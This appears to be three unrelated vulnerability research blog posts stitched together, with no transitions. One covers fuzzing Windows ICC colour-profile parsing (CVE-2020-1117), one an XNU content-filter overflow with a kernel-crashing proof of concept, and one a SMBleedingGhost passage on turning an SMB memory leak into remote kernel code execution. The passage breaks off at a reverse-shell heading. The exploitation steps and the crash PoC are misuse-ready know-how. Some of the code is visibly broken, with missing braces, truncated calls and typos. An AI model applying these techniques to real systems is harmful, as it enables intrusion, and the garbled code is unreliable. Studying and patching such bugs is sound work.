Image parsing and rendering are basic features of any modern operating system (OS). Image parsing is an easily accessible attack surface, and a vulnerability that may lead to remote code execution or information disclosure in such a feature is valuable to attackers. In this multi-part blog series, I am reviewing Windows OS’ built-in image parsers and related file formats: specifically looking at creating a harness, hunting for corpus and fuzzing to find vulnerabilities. In part one of this series I am looking at color profiles—not an image format itself, but something which is regularly embedded within images. 

What is an ICC Color Profile?

Wikipedia provides a more-than-adequate description of ICC color profiles: "In color management, an ICC profile is a set of data that characterizes a color input or output device, or a color space, according to standards promulgated by the International Color Consortium (ICC). Profiles describe the color attributes of a particular device or viewing requirement by defining a mapping between the device source or target color space and a profile connection space (PCS). This PCS is either CIELAB (L*a*b*) or CIEXYZ. Mappings may be specified using tables, to which interpolation is applied, or through a series of parameters for transformations.

In simpler terms, an ICC color profile is a binary file that gets embedded into images and parsed whenever ICC supported software processes the images. 


The ICC specification is around 100 pages and should be easy to skim through. Reading through specifications gives a better understanding of the file format, different types of color profiles, and math behind the color transformation. Furthermore, understanding of its file format internals provides us with information that can be used to optimize fuzzing, select a good corpus, and prepare fuzzing dictionaries.

History of Color Management in Windows

Windows started to ship Image Color Management (ICM) version 1.0 on Windows 95, and version 2.0 beginning with Windows 98 onwards. A major overhaul to Windows Color System (WCS) 1.0 happened in Windows Vista onwards. While ICC color profiles are binary files, WCS color profiles use XML as its file format. In this blog post, I am going to concentrate on ICC color profiles.

Microsoft has a list of supported Windows APIs. Looking into some of the obviously named APIs, such as OpenColorProfile, we can see that it is implemented in MSCMS.dll. This DLL is a generic entry point and supports loading of Microsoft’s Color Management Module (CMM) and third-party CMMs such as Adobe’s CMM. Microsoft’s CMM—the ICM—can be found as ICM32.dll in system32 directory. 

Figure 1: ICM32

Windows’ CMM was written by a third-party during the Windows 95 era and still ships more or less with the same code (with security fixes over the decades). Seeing such an old module gives me some hope of finding a new vulnerability. But this is also a small module that may have gone through multiple rounds of review and fuzzing: both by internal product security teams and by external researchers, reducing my hopes to a certain degree. Looking for any recent vulnerabilities in ICM32, we can see multiple bugs from 2017-2018 by Project Zero and ZDI researchers, but then relative silence from 2019 onwards.

Making a Harness

Although there is a list of ICM APIs in MSDN, we need to find an API sequence used by Windows for any ICC related operations. One of the ways to find our API sequence is to search a disassembly of Windows DLLs and EXEs in hope to find the color profile APIs being used. Another approach is to find a harness for open source Color Management Systems such as Little CMS (LCMS). Both of these end up pointing to very small set of APIs with functionality to open color profiles and create color transformations.

Given this information, a simple initial harness was written: 

#include <stdio.h>
#include <Windows.h>
#include <Icm.h>

#pragma comment(lib, "mscms.lib")

int main(int argc, char** argv)
    char dstProfilePath[] = "sRGB Color Space Profile.icm";
    tagPROFILE destinationProfile;
    HPROFILE   hDstProfile = nullptr;   

    destinationProfile.dwType = PROFILE_FILENAME;
    destinationProfile.pProfileData = dstProfilePath;
    destinationProfile.cbDataSize = (strlen(dstProfilePath) + 1);

    hDstProfile = OpenColorProfileA(&destinationProfile, PROFILE_READ,
    if (nullptr == hDstProfile)
        return -1;

    tagPROFILE sourceProfile;
    HPROFILE   hSrcProfile = nullptr;
    HTRANSFORM hColorTransform = nullptr;     

    HPROFILE hProfileList[2];   

    sourceProfile.dwType = PROFILE_FILENAME;
    sourceProfile.pProfileData = argv[1];
    sourceProfile.cbDataSize = (strlen(argv[1]) + 1);

    hSrcProfile = OpenColorProfileA(&sourceProfile, PROFILE_READ,
    if (nullptr == hSrcProfile)
        return -1;

    hProfileList[0] = hSrcProfile;
    hProfileList[1] = hDstProfile;

    hColorTransform = CreateMultiProfileTransform(

    if (nullptr == hColorTransform)
        return -1;

    return 0;

Listing 1: Harness

Hunting for Corpus and Dictionary

Sites offering multiple color profiles can be found all over the internet. One of the other main source of color profile is images; many image files contain a color profile but require some programming/tools to dump their color profile to stand-alone files.

Simply skimming through the specification, we can also make sure the corpus contains at least one sample from all of the seven different color profiles. This along with the code coverage information can be used to prepare the first set of corpuses for fuzzing.

A dictionary, which helps the fuzzer to find additional code paths, can be prepared by combing through specifications and creating a list of unique tag names and values. One can also find dictionaries from open source fuzzing attempts on LCMS, etc.


I used a 16-core machine to fuzz the harness with my first set of corpuses. Code coverage information from MSCMS.dll and ICM32.dll was used as feedback for my fuzzer. Crashes started to appear within a couple of days.

CVE-2020-1117 — Heap Overflow in InitNamedColorProfileData

The following crash happens in icm32!SwapShortOffset while trying to read out of bounds:

0:000> r
rax=0000023690497000 rbx=0000000000000000 rcx=00000000000000ff
rdx=000000000000ffff rsi=0000023690496f00 rdi=0000023690496fee
rip=00007ffa46bf3790 rsp=000000c2a56ff5a8 rbp=0000000000000001
 r8=0000000000000014  r9=0000023690497002 r10=0000000000000014
r11=0000000000000014 r12=000000c2a56ff688 r13=0000023690492de0
r14=000000000000000a r15=000000004c616220
iopl=0         nv up ei ng nz ac pe cy
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000293
00007ffa`46bf3790 0fb610          movzx   edx,byte ptr [rax] ds:00000236`90497000=??

0:000> !heap -p -a @rax
    address 0000023690497000 found in
    _DPH_HEAP_ROOT @ 23690411000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                             23690412b60:      23690496f00              100 -      23690496000             2000
    00007ffa51644807 ntdll!RtlDebugAllocateHeap+0x000000000000003f
    00007ffa515f49d6 ntdll!RtlpAllocateHeap+0x0000000000077ae6
    00007ffa5157babb ntdll!RtlpAllocateHeapInternal+0x00000000000001cb
    00007ffa51479da0 msvcrt!malloc+0x0000000000000070
    00007ffa46bf3805 icm32!SmartNewPtr+0x0000000000000011
    00007ffa46bf37c8 icm32!SmartNewPtrClear+0x0000000000000014
    00007ffa46c02d05 icm32!InitNamedColorProfileData+0x0000000000000085
    00007ffa46bf6e39 icm32!Create_LH_ProfileSet+0x0000000000004e15
    00007ffa46bf1973 icm32!PrepareCombiLUTs+0x0000000000000117
    00007ffa46bf1814 icm32!CMMConcatInitPrivate+0x00000000000001f4
    00007ffa46bf12a1 icm32!CWConcatColorWorld4MS+0x0000000000000075
    00007ffa46bf11f4 icm32!CMCreateMultiProfileTransformInternal+0x00000000000000e8
    00007ffa46bf1039 icm32!CMCreateMultiProfileTransform+0x0000000000000029
    00007ffa48f16e6c mscms!CreateMultiProfileTransform+0x000000000000024c
    00007ff774651191 ldr+0x0000000000001191
    00007ff7746514b4 ldr+0x00000000000014b4
    00007ffa505a7bd4 KERNEL32!BaseThreadInitThunk+0x0000000000000014
    00007ffa515aced1 ntdll!RtlUserThreadStart+0x0000000000000021

Listing 2: Crash info

icm32!SwapShortOffset reads unsigned short values, bswaps them and stores at the same location, giving this crash both read and write primitives.

unsigned __int16 *__fastcall SwapShortOffset(void *sourceBuff, unsigned int offset, unsigned int len)
  unsigned __int16 *endBuff; // r9
  unsigned __int16 *result; // rax

  endBuff = (sourceBuff + len);
  for ( result = (sourceBuff + offset); result < endBuff; ++result )
    *result = _byteswap_ushort(*result);        // read, bswap and write
  return result;

Listing 3: SwapShortOffset decompiled

The crashing function icm32!SwapShortOffset doesn’t immediately point to the root cause of the bug. For that, we need to go one call up to icm32!InitNamedColorProfileData.

__int64 __fastcall InitNamedColorProfileData(__int64 a1, void *hProfile, int a3, _DWORD *a4)
  errCode = CMGetPartialProfileElement(hProfile, 'ncl2', 0, pBuffSize, 0i64);      // getting size of ncl2 element
  if ( errCode )
    return errCode;
  minSize = pBuffSize[0];
  if ( pBuffSize[0] < 0x55 )
    minSize = 0x55;
  pBuffSize[0] = minSize;
  outBuff = SmartNewPtrClear(minSize, &errCode);                                    // allocating the buffer for ncl2
  errCode = CMGetPartialProfileElement(hProfile, 'ncl2', 0, pBuffSize, outBuff);    // reading ncl2 elements to buffer
  if ( !errCode )
    totalSizeToRead = count * totalDeviceCoord;
    if ( totalSizeToRead < 0xFFFFFFFFFFFFFFAEui64 && totalSizeToRead + 0x51 <= pBuffSize[0] )  // totalSizeToRead + 0x51 <= element size?
      currPtr = outBuff + 0x54;            // wrong offset of 0x54 is used
        SwapShortOffset((currPtr + 0x20), 0, 6u);

Listing 4: InitNamedColorProfileData decompiled

Here the code tries to read the ‘ncl2’ tag/element and get the size of the stream from file. A buffer is allocated and the same call is made once again to read the complete content of the element ‘ncl2’. This buffer is parsed to find the count and number of device coordinates, and the values are verified by making sure read/write ends up with in the buffer size. The vulnerability here is that the offset (0x51) used for verification is smaller than the offset (0x54) used to advance the buffer pointer. This error provides a 3 byte out of bound read and write.

The fix for this was pretty straight forward—change the verification offset to 0x54, which is how Microsoft fixed this bug.

Additional Vulnerabilities

While looking at the previous vulnerability, one can see a pattern of using the CMGetPartialProfileElement function for reading the size, allocation, and reading content. This sort of pattern can introduce bugs such as unconstrained size or integer overflow while adding an offset to the size, etc. I decided to pursue this function and see if such instances are present within ICM32.dll.

I found three instances which had an unchecked offset access: CMConvIndexToNameProfile, CMConvNameToIndexProfile and CMGetNamedProfileInfoProfile. All of these functions are accessible through exported and documented MSCMS functions: ConvertIndexToColorName, CMConvertColorNameToIndex, and GetNamedProfileInfo respectively.

__int64 __fastcall CMConvIndexToNameProfile(HPROFILE hProfile, __int64 a2, __int64 a3, unsigned int a4)
  errCode = CMGetPartialProfileElement(hProfile, 'ncl2', 0, pBuffSize, 0i64);    // read size
  if ( !errCode )
    allocBuff = SmartNewPtr(pBuffSize[0], &errCode);
    if ( !errCode )
      errCode = CMGetPartialProfileElement(hProfile, 'ncl2', 0, pBuffSize, allocBuff);    // read to buffer
      if ( !errCode )
        SwapLongOffset((allocBuff + 12), 0, 4u);         // 12 > *pBuffSize ?
        SwapLongOffset((allocBuff + 16), v12, v13);

Listing 5: CMConvIndexToNameProfile decompiled

The bug discovered in CMConvIndexToNameProfile and the other two functions is that there is no minimum length check for ‘ncl2’ elements and offsets 12 and 16 are directly accessed for both read and write—providing out of bound read/write to allocBuffer, if the size of allocBuffer is smaller than 12.

Microsoft decided not to immediately fix these three vulnerabilities due to the fact that none of the Windows binaries use these functions. Independently, we did not find any Windows or third-party software using these APIs.


In part one of this blog series, we looked into color profiles, wrote a harness, hunted for corpus and successfully found multiple vulnerabilities. Stay tuned for part two, where we will be looking at a relatively less talked about vulnerability class: uninitialized memory.

From a comment to a CVE: Content filter strikes again!

From a comment to a CVE: Content filter strikes again!

0x0- Opening

In the past few years XNU had few vulns in a newly added/changed code areas (extra_recipe, kq double release) and in the content filter area (bug collision uaf, silent patched uaf) so it is no surprise that the combination of the newly added code and complex areas (content-filter) alongside with a funny comment caught our attention.

0x1- Discovery story

Upon a closer look at the newly added xnu source of Darwin 19 you might notice a strange comment in content_filter.c:

 *	Deal with OOB
 *	If support datagram, enqueue control and address mbufs as well

Is this comment referring to OOB read/write issues? Probably not but it won’t hurt to run a quick search for those so we will use the magic tool CMD +f to search for memcpy calls and in less than two minutes you will find the following 

0x2- The bug.

The newly updated cfil_sock_attach function which is easily reached from tcp_usr_connect and tcp_usr_connectx with controlled variables:

cfil_sock_attach(struct socket *so, struct sockaddr *local, struct sockaddr *remote, int dir) // (Part A)
	errno_t error = 0;
	uint32_t filter_control_unit;


	/* Limit ourselves to TCP that are not MPTCP subflows */
	if ((so->so_proto->pr_domain->dom_family != PF_INET &&
	    so->so_proto->pr_domain->dom_family != PF_INET6) ||
	    so->so_proto->pr_type != SOCK_STREAM ||
	    so->so_proto->pr_protocol != IPPROTO_TCP ||
	    (so->so_flags & SOF_MP_SUBFLOW) != 0 ||
	    (so->so_flags1 & SOF1_CONTENT_FILTER_SKIP) != 0) {
		goto done;

	filter_control_unit = necp_socket_get_content_filter_control_unit(so);
	if (filter_control_unit == 0) {
		goto done;

	if (filter_control_unit == NECP_FILTER_UNIT_NO_FILTER) {
		goto done;
	if ((filter_control_unit & NECP_MASK_USERSPACE_ONLY) != 0) {
		goto done;
	if (cfil_active_count == 0) {
		goto done;
	if (so->so_cfil != NULL) {
		CFIL_LOG(LOG_ERR, "already attached");
	} else {
		cfil_info_alloc(so, NULL);
		if (so->so_cfil == NULL) {
			error = ENOMEM;
			goto done;
		so->so_cfil->cfi_dir = dir;
	if (cfil_info_attach_unit(so, filter_control_unit, so->so_cfil) == 0) {
		CFIL_LOG(LOG_ERR, "cfil_info_attach_unit(%u) failed",
		goto done;
	CFIL_LOG(LOG_INFO, "so %llx filter_control_unit %u sockID %llx",
	    filter_control_unit, so->so_cfil->cfi_sock_id);

	so->so_flags |= SOF_CONTENT_FILTER;

	/* Hold a reference on the socket */

	 * Save passed addresses for attach event msg (in case resend
	 * is needed.
	if (remote != NULL) {
		memcpy(&so->so_cfil->cfi_so_attach_faddr, remote, remote->sa_len); // Part B
	if (local != NULL) {
		memcpy(&so->so_cfil->cfi_so_attach_laddr, local, local->sa_len); // Part C

	error = cfil_dispatch_attach_event(so, so->so_cfil, 0, dir);
	/* We can recover from flow control or out of memory errors */
	if (error == ENOBUFS || error == ENOMEM) {
		error = 0;
	} else if (error != 0) {
		goto done;

	return error;

We can see that in (Part A) the function receives two sockaddrs parameters (local and remote) which are user controlled and then using their sa_len struct member (remote in (Part B) and local in (Part C)) in order to copy data to cfi_so_attach_laddr and cfi_so_attach_faddr. Parts (A) (B) and (C) were all result of a new changes in XNU.

So what’s the problem? The problem is there is lack of check of sa_len which can be set up to 255 and then will be used in a memcpy to copy data into a union sockaddr_in_4_6 which is a 28 bytes struct – resulting in a buffer overflow.

The PoC below which is almost identical to Ian Beer’s mptcp with two changes. This POC requires a pre-requisite to reach the vulnerable area. In order to trigger the vulnerability we need to use an MDM enrolled device with NECP policy, or attach the socket to a valid filter_control_unit. One way to do it is to create one with cfilutil and then manually write it to kernel memory using a kernel debugger.

After running the POC, it will crash the kernel:

#include <sys/socket.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <unistd.h>

int main(int argc, const char * argv[ ]) {

	int sock = socket(AF_INET, SOCK_STRAEM, IPPROTO,TCP);
	If (sock < 0) {
		printf(“socket failed\n”);
		return -1;
	printf(“got socket: %d\n”, sock);
	struct sockaddr* sockaddr_dst = malloc(256);
	memset(sockaddr_dst, ‘A’, 256);
	sockaddr_dst->sa_len = 255;
	sockaddr_dst->sa_faimly =AF_INET;
	sa_endpoint_t eps = {0};
	eps.sae_srcif = 0;
	eps.sae_srcaddr = NULL;
	eps.sae_srcaddrlen = 0;
eps.sae_dstaddr = sockaddr_dst;
eps.sae_dstaddrlen = 255;
int err = connectx(sock,&eps,SAE_ASSOCID_ANY,0,NULL,0,NULL,NULL);
  printf(“err: %d\n”,err);
return 0;

0x3- Patch

The patch of the issue is interesting too because while the source code (iOS 13.6 / MacOS 10.15.6) provide this patch:

if (remote != NULL && (remote->sa_len <= sizeof(union sockaddr_in_4_6))) {
		memcpy(&so->so_cfil->cfi_so_attach_faddr, remote, remote->sa_len);
	if (local != NULL && (local->sa_len <= sizeof(union sockaddr_in_4_6))) {
		memcpy(&so->so_cfil->cfi_so_attach_laddr, local, local->sa_len);

The disassembly shows something else…

Here is a picture of the vulnerable part in macOS 10.15.1 compiled kernel (before the issue was reported):

Here is a picture of the vulnerable part in macOS 10.15.6 compiled kernel (after the issue was reported):

The panic call with the mecmpy_chk is gone alongside the patch!

Did the original developer knew this function was vulnerable and placed it there as a placeholder until a proper patch? Your guess is good as ours.

Also note that the call to memcpy_chk before the real_mode_bootstarp_end (which is a wraparound of memcpy) is what kept this issue from being exploitable.

0x4- What can we take from this?

  1. Read comments they might give us valuable information
  2. Newly added code is oftentimes buggy
  3. Content filter code is complex and tricky 
  4. Now with Pangu’s recent blog post and Ian Beer mptcp bug we can learn that sockaddr->sa_len already caused multiple issues and should be audited a bit more carefully.

0x5- Attacks in the wild?

This issue is not dangerous. During our investigation of this bug, ZecOps checked its targeted threats intelligence database, and saw no active attacks associated with this issue. We still advise to update to the latest version to receive all other updates.

Hear the news first

  • Only essential content
  • New vulnerabilities & announcements
  • News from ZecOps Research Team
We won’t spam, pinky swear 🤞

SMBleedingGhost Writeup Part III: From Remote Read (SMBleed) to RCE

SMBleedingGhost Writeup Part III: From Remote Read (SMBleed) to RCE


Previous SMBleedingGhost write-ups: 

In the previous part of the series, SMBleedingGhost Writeup Part II: Unauthenticated Memory Read – Preparing the Ground for an RCE, we described two techniques that allow us to read uninitialized memory from the pool buffers allocated by the SrvNetAllocateBuffer function of the srvnet.sys module. The first technique accomplishes that by crafting a special SMB packet and deducing information from the server’s response. The second technique, which has less limitations, does that by sending specially crafted compressed data and deducing information depending on whether the server drops the connection.

The next thing we had to understand was: what can be done with this reading ability? As a reminder, we began this research with a write-what-where primitive that we demonstrated in our previous research about achieving local privilege escalation. Since most of the memory layout in the modern Windows versions is randomized, we need to have at least one pointer to be able to do something useful with the write-what-where primitive. Unfortunately, memory allocated with the SrvNetAllocateBuffer function is mostly used for network data such as SMB packets and doesn’t contain system pointers. We could try and read uninitialized memory left by a previous allocation that wasn’t done with SrvNetAllocateBuffer, but it would be difficult to predict where to look for a pointer in this case, especially since we can’t run code on the target computer that could help us grooming the pool (unlike in the case of a local privilege escalation, for example). So we started looking for something more reliable.

Hear the news first

  • Only essential content
  • New vulnerabilities & announcements
  • News from ZecOps Research Team
We won’t spam, pinky swear 🤞

SrvNetAllocateBuffer and the allocated buffer layout

As we already mentioned in our local privilege escalation research, the SrvNetAllocateBuffer function doesn’t just return a buffer with the requested size. Instead, it returns a pointer to a struct that is located at the bottom of the pool-allocated memory block, containing information about the allocated buffer. The layout of the pool-allocated memory block is the following:

While our reading technique can only read bytes from the “User buffer” region, we can use the integer overflow bug to copy parts of the SRVNET_BUFFER_HDR struct to the “User buffer” region of another buffer, which we can then read. We can do that by setting the Offset field to point at the SRVNET_BUFFER_HDR struct beyond the data we want to read. We just need to make sure that the data that is located there can be interpreted as valid compressed data, otherwise the copying won’t happen.

Hunting for pointers

Let’s take a look at the fields of the SRVNET_BUFFER_HDR struct and see whether there’s something worth reading:

#pragma pack(push, 1)
/*00*/  (orange) LIST_ENTRY ConnectionBufferList;
/*10*/  WORD BufferFlags; // 0x01 - no transport header, 0x02 - part of a lookaside list
/*12*/  WORD LookasideListIndex; // 0 to 8
/*14*/  WORD LookasideListLogicalProcessor;
/*16*/  WORD TracingDataCount; // 0, 1 or 2, for TracingPtr1/2, TracingUnknown1/2
/*18*/  (blue) PBYTE UserBufferPtr;
/*20*/  DWORD UserBufferSizeAllocated;
/*24*/  DWORD UserBufferSizeUsed;
/*28*/  DWORD PoolAllocationSize;
/*2C*/  BYTE unknown1[4];
/*30*/  (blue) PBYTE PoolAllocationPtr;
/*38*/  (blue) PMDL pMdl1;
/*40*/  DWORD BytesProcessed;
/*44*/  BYTE unknown2[4];
/*48*/  SIZE_T BytesReceived;
/*50*/  (blue) PMDL pMdl2;
/*58*/  (orange) PVOID pSrvNetWskStruct;
/*60*/  DWORD SmbFlags;
/*64*/  (orange) PVOID TracingPtr1;
/*6C*/  SIZE_T TracingUnknown1;
/*74*/  (orange) PVOID TracingPtr2;
/*7C*/  SIZE_T TracingUnknown2;
/*84*/  BYTE unknown3[12];
#pragma pack(pop)

The colored variables are pointers. The blue-colored pointers all point inside the pool-allocated memory block, with offsets which can be calculated in advance, so it’s enough to read one of them. Having an absolute pointer to the pool-allocated memory block will surely be helpful. Regarding the orange-colored pointers:

  • ConnectionBufferList – A linked list of all of the received, unhandled buffers of a connection. The list head is a part of the connection object created by the SrvNetAllocateConnection function in srvnet.sys. A buffer is added to the list by the SrvNetWskReceiveComplete function. In our case, there will be only one buffer in the list, so both pointers (Flink and Blink of the LIST_ENTRY struct) will point to the list head inside the connection object.
  • pSrvNetWskStruct – Initially, a pointer to the connection object mentioned above. The pointer is set by the SrvNetWskReceiveEvent function, but is overridden by the SrvNetWskReceiveComplete function with the pointer to the SRVNET_BUFFER_HDR struct. Thus, reading it is not more useful than reading one of the other blue-colored pointers. By the way, if you search for “pSrvNetWskStruct“ you’ll find out that it played a role in exploiting EternalBlue.
  • TracingPtr1/2 – These pointers are only used when tracing is enabled, as it seems.

As you can see, the only other useful pointer for us to read is one of the pointers from the ConnectionBufferList struct. Both pointers (Blink and Flink of the LIST_ENTRY struct) point to the connection object. The object struct has been named SRVNET_RECV by EternalBlue researchers, so we’ll use this name as well.

Getting a module base address

Now that we know how to get the two pointers – a pointer to a pool-allocated memory block and a pointer to an SRVNET_RECV struct – we can freely modify the two buffers using the write-what-where primitive. There are probably several ways from this point to achieve RCE, but we had a feeling that getting a base address of a module would be the most straightforward option since there are so many things we can modify in a data section of a module. As we’ve seen, none of the pointers in a memory block allocated by SrvNetAllocateBuffer point to a module. We had hopes for the SRVNET_RECV struct, but we didn’t find pointers that point to a module there, too. On the bright side, there are several pointers to modules one additional dereference away:

At this point, we noticed that since we can override those pointers in SRVNET_RECT, we can call an arbitrary function by replacing the HandlerFunctions pointer and triggering one of the events, e.g. closing the connection so that Srv2DisconnectHandler is called. This will come in handy later, but we didn’t have any function pointers to call yet, so we continued with our attempt to get a module base address.

Unlike writing, reading those pointers is not as easy since our technique allows us to read only from the “User buffer” region. So close, yet so far. Since we can get and modify a pool-allocated memory block and an SRVNET_RECV struct, we hoped to find code that we can trigger that does a double-dereference-read followed by a double-dereference-write with two variables that we control, similar to the following:

ptr1 = *(pSrvNetRecv + offset1)
value = *ptr1
ptr2 = *(pSrvNetRecv + offset2)
*ptr2 = value

If we could find such a snippet, we would trigger it to copy the first pointer (e.g. HandlerFunctions) to the “User buffer” region, read it, then copy the second pointer (e.g. the Srv2ConnectHandler function pointer) to the “User buffer” region and read it as well, deducing the module base address from it. We searched for such a snippet for a long time, but didn’t find a good match. Finally, we settled for a sub-optimal option which nevertheless worked. Let’s take a look at the relevant part of the SrvNetFreeBuffer function (simplified):

void SrvNetFreeBuffer(PSRVNET_BUFFER_HDR Buffer)
    PMDL pMdl1 = Buffer->pMdl1;
    PMDL pMdl2 = Buffer->pMdl2;

    if (pMdl2->MdlFlags & 0x0020) {
        // MDL_PARTIAL_HAS_BEEN_MAPPED flag is set.
        MmUnmapLockedPages(pMdl2->MappedSystemVa, pMdl2);

    if (Buffer->BufferFlags & 0x02) {
        if (Buffer->BufferFlags & 0x01) {
            pMdl1->MappedSystemVa = (BYTE*)pMdl1->MappedSystemVa + 0x50;
            pMdl1->ByteCount -= 0x50;
            pMdl1->ByteOffset += 0x50;
            pMdl1->MdlFlags |= 0x1000; // MDL_NETWORK_HEADER

            pMdl2->StartVa = (PVOID)((ULONG_PTR)pMdl1->MappedSystemVa & ~0xFFF);
            pMdl2->ByteCount = pMdl1->ByteCount;
            pMdl2->ByteOffset = pMdl1->MappedSystemVa & 0xFFF;
            pMdl2->Size = /* some calculation */;
            pMdl2->MdlFlags = 0x0004; // MDL_SOURCE_IS_NONPAGED_POOL

        Buffer->BufferFlags = 0;

        // ...

        pMdl1->Next = NULL;
        pMdl2->Next = NULL;

        // Return the buffer to the lookaside list.
    } else {
        SrvNetUpdateMemStatistics(NonPagedPoolNx, Buffer->PoolAllocationSize, FALSE);
        ExFreePoolWithTag(Buffer->PoolAllocationPtr, '00SL');

Upon freeing the buffer, if buffer flags 0x02 (means the buffer is part of a lookaside list) and 0x01 (means the buffer has no transport header) are set, some operations are made on the two MDL objects to add the transport header before resetting the flags to zero and returning the buffer back to the lookaside list. If we set aside the meaning behind the operations on the MDL objects for a moment and look at the operations in terms of memory manipulation, we can notice that the code does a double-dereference-read followed by a double-dereference-write with two variables that we control (the two MDL pointers), which is what we were looking for. The downside is that the content that we want to read from is also modified (lines 13-16, 29), a side effect we hoped to avoid.

Given the above, here’s how we managed to read the AcceptSocket pointer:

1. Prepare buffer A from a lookaside list such that the “User buffer” region is filled with zeros. This buffer will end up holding the pointer that we’ll eventually read.

2. Prepare buffer B from a different lookaside list such that:

  • The pMdl1 pointer points at the address of the HandlerFunctions pointer minus 0x18, the offset of MappedSystemVa in the MDL struct.
  • The pMdl2 pointer points at the “User buffer” region of Buffer A.
  • The Flags field is set to 0x03.

We can override the SRVNET_BUFFER_HDR struct fields by decompressing them from a larger buffer using the technique described in the Observation #2 section of the previous part of the writeup.

3. When buffer B is freed, the following operations will take place:

  • The MDL flags will be read from the second MDL at buffer A. If the MDL_PARTIAL_HAS_BEEN_MAPPED flag is set, MmUnmapLockedPages will be called and the system will likely crash. That’s why we filled the buffer with zeros in step 1.
  • The HandlerFunctions pointer and the memory around it will be modified as depicted here:
+00 |  00 00 00 00 00 00 00 00
+08 |  __ __ __|10 __ __ __ __
+10 |  __ __ __ __ __ __ __ __
+18 |  [+50..................]  <--  HandlerFunctions
+20 |  __ __ __ __ __ __ __ __
+28 |  [-50......] [+50......]
  • The HandlerFunctions pointer and the memory around it will be read as depicted here:
+00 |  __ __ __ __ __ __ __ __
+08 |  __ __ __ __ __ __ __ __
+10 |  __ __ __ __ __ __ __ __
+18 |  ab cd ef gh ij kl mn op  <--  HandlerFunctions
+20 |  __ __ __ __ __ __ __ __
+28 |  qr st uv wx __ __ __ __
  • The “User buffer” region of buffer A will be modified as depicted here: (The orange-colored bytes contain the pointer we want to read. We just need to order them properly.)
+00 |  00 00 00 00 00 00 00 00
+08 |  ?? ?? 04 00 __ __ __ __
+10 |  __ __ __ __ __ __ __ __
+18 |  __ __ __ __ __ __ __ __
+20 |  00 {c}0 {ef gh ij kl mn op}
+28 |  qr st uv wx {ab} 0{d} 00 00

4. Read the AcceptSocket pointer from the “User buffer” region of buffer A.

The good news: we managed to read the pointer. The bad news: we corrupted some data in the SRVNET_RECT struct. Luckily for us, the corruption doesn’t affect the system as long as nothing happens with the relevant connection. When something does happen, e.g. the connection closes, the system crashes. That’s not a problem since we’ll get RCE soon, and we can fix the corruption if we want to. We didn’t implement such a fix in our POC and such fix was left as an exercise for the reader.

After reading the AcceptSocket pointer, we used the same technique to read the srvnet!SrvNetWskConnDispatch pointer. We read the AcceptSocket pointer and not the HandlerFunctions pointer since the array of handler functions is shared between all connections, while the buffer pointed by AcceptSocket is not shared with other connections. Therefore, we can corrupt the latter, affecting the stability of only a single connection.

If we have a copy of the srvnet.sys file used on the target computer, we can just compute the offset of the SrvNetWskConnDispatch pointer in the module locally and subtract the offset from the pointer we read, getting the srvnet.sys module base address as a result. That’s what we did in our POC to keep things simple. One can improve it to be more general. One option that comes to mind is keeping several versions of srvnet.sys locally, and deducing the correct one by the least significant bytes of the read pointer.

Implementing arbitrary read

From the beginning of this research we had a convenient write-what-where (arbitrary write) primitive, but had nothing that allowed us to read memory. We worked hard until now to gain some memory reading abilities, and at this point we felt that we had enough tools to make our life easier and implement a convenient arbitrary read primitive. We began by exploring the possibilities of calling an arbitrary function.

Given that we have the base address of the srvnet.sys module, we can call any of the module’s functions. But what about the function’s arguments? The srv2!Srv2ReceiveHandler function is called by SrvNetCommonReceiveHandler, and the call looks like this:

HandlerFunctions = *(pSrvNetRecv + 0x118);
Arg1 = *(ULONG_PTR)(pSrvNetRecv + 0x128);
Arg2 = *(ULONG_PTR)(pSrvNetRecv + 0x130);
(HandlerFunctions[1])(Arg1, Arg2, Arg3, Arg4, Arg5, Arg6, Arg7, Arg8);

The first two arguments are read from the SRVNET_RECT struct, so we can control them. We don’t have as much control over the other arguments. The x86-64 calling convention specifies that it’s the caller’s responsibility to allocate and free the stack space for the arguments, so even though a 8-arguments function is intended to be called, we can replace the pointer with a function that expects any other amount of arguments, and it will work.

Here are the steps we used to trigger the function call:

  1. Send a specially crafted message so that the connection’s SRVNET_RECT struct pointer will be copied to a buffer we can read.
  2. Send another, valid message, which will reuse the same SRVNET_RECT struct, but don’t close the connection yet. Note that when a connection is closed, the SRVNET_RECT struct is not freed. The SrvNetPrepareConnectionForReuse function is called to reset the struct so that it can be reused for the next connection.
  3. Read the SRVNET_RECT struct pointer that we copied in step 1.
  4. Replace the HandlerFunctions pointer and the arguments using the write-what-where primitive.
  5. Send an additional message over the connection from step 2 so that the function that took the place of srv2!Srv2ReceiveHandler is called.

Now all we had to do was to find a convenient function to copy memory from one location to another, so that we can copy arbitrary memory to the pool buffer we can read from. memcpy comes to mind, and srvnet.sys does have such a function (memmove, to be precise), but this function requires a third argument, the amount of bytes to be copied, which we don’t control. Failing to find a convenient function that requires one or two arguments, we realized that we’re not limited by functions implemented in srvnet.sys, we can also call functions from srvnet’s import table by pointing HandlerFunctions at the right offset. There, we found the perfect function: RtlCopyUnicodeString.

The RtlCopyUnicodeString function gets two UNICODE_STRING pointers as arguments, and copies the content of the source string to the destination string. Unlike C strings which are NULL-terminated, strings in the kernel are defined by the UNICODE_STRING struct which holds a pointer to the string, and the string’s length in bytes. The string buffer can hold any binary data. If you peek at the implementation of RtlCopyUnicodeString, you can see that the copying is done with the memmove function, i.e. plain binary data copying. All we have to do is prepare our two UNICODE_STRING structs and call RtlCopyUnicodeString, then read the copied data:

Executing shellcode

After achieving a convenient arbitrary read primitive, we moved on to the next challenge towards our goal of remote code execution: running a shellcode. We used the technique that Morten Schenk presented in his Black Hat USA 2017 talk (pages 47-51).

The idea is to write a shellcode below the KUSER_SHARED_DATA structure which is located at a constant address, the only address that is not randomized in the kernel memory layout of the recent Windows versions. Then modify the relevant page table entry, making the page executable. The base address of the page table entries in the kernel is randomized, but can be retrieved from the MiGetPteAddress function in ntoskrnl.exe. Here are the steps we used to execute our shellcode:

  1. Use our arbitrary read primitive to get the base address of ntoskrnl.exe from srvnet’s import table.
  2. Read the base address of the page table entries from the MiGetPteAddress function, as described in Morten’s slides.
  3. Write the shellcode at address KUSER_SHARED_DATA + 0x800 (0xFFFFF78000000800). Note that we could also use one of the pool buffers, using KUSER_SHARED_DATA is just more convenient.
  4. Calculate the relevant page table entry address and clear the NX bit to allow execution, as described in Morten’s slides.
  5. Call the shellcode using our ability to call an arbitrary function.

Launching a reverse shell

